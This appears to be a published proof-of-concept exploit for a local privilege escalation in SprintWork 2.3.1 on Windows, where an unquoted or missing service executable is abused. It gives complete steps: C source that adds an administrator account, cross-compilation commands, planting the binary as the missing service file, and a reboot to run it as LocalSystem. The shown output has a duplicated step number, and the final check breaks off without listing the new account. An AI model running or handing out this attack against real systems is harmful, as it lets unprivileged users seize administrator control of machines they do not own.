sprintwork 2.3.1 local privilege escalation

				
# Exploit Title: SprintWork 2.3.1 - Local Privilege Escalation
# Exploit Author: boku
# Date: 2020-02-13
# Vendor Homepage: https://veridium.net
# Software Link:  https://veridium.net/files_u/spx/exe/SprintWork-Setup.exe
# Version: 2.3.1
# Tested On: Windows 10 (32-bit)

# Vulnerability Overview:
# SprintWork v2.3.1 (x86) suffers from insecure file & service & folder permissions, unquoted service paths, 
# and a missing executable for one of the two Service it installs; to be ran as 'LocalSystem'. 
# This allows any local user to gain persistent code-execution as 'LocalSystem'.
# Both the 32bit & 64bit build of SprintWork v2.3.1 create the services 'SP52 AMC' & 'SprintWork TM VI', with the "StartMode" set to 'Auto', to be ran as 'LocalSystem'; these services will ran every time the computer starts. The 'SP52 AMC' Service is set to use the 'nvlsimw.exe' file. On the 32bit version, the 'nvlsimw.exe' file is never created. This, in combination with its other vulnerabilities, results in persistent code-execution for any local user as 'LocalSystem'.

## Local Privilege Escalation Proof of Concept
#0. Download & install SprintWork v2.3.1 (x86) on Windows 10 32bit Operating System

#1. Create low privileged user 
C:\Windows\system32>net user lowpriv password /add

#2. Change to lowpriv User
C:\Users\lowPrivUser>net user lowprivuser | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowPrivUser
Local Group Memberships      *Users
Global Group memberships     *None
C:\>whoami
mycomputer\lowprivuser 

#3. Create malicious binary on Kali Linux
3.1) Download dependencies
root@kali# apt install gcc-mingw-w64-i686 wine64 -y

3.2) Create Add Admin User C Code
root@kali# cat addAdmin.c
#include<windows.h>
int main(void){
 system("net user adminpriv mypassword /add");
 system("net localgroup Administrators adminpriv /add");
 return 0;
}

3.3) Compile Code
root@kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o nvlsimw.exe

#4. Transfer created 'nvlsimw.exe' to the Windows Host 

#5. Move the created 'nvlsimw.exe' binary to the 'C:\Program Files\SprintWorks\' Directory
C:\Users\lowpriv>move nvlsimw.exe "C:\Program Files\SprintWork\"
        1 file(s) moved.

C:\Users\lowpriv>dir "C:\Program Files\SprintWork\" | findstr /i /c:nvlsim

02/13/2020  06:07 PM           288,469 nvlsimw.exe

#6. Verify localgroup 'Administrators' members
C:\Users\lowpriv>net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

#6. Reboot the Computer
C:\Users\lowpriv>shutdown /r /t 0

#7. Verify user 'adminpriv' was created & added to the localgroup 'Administrators'
C:\>net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain
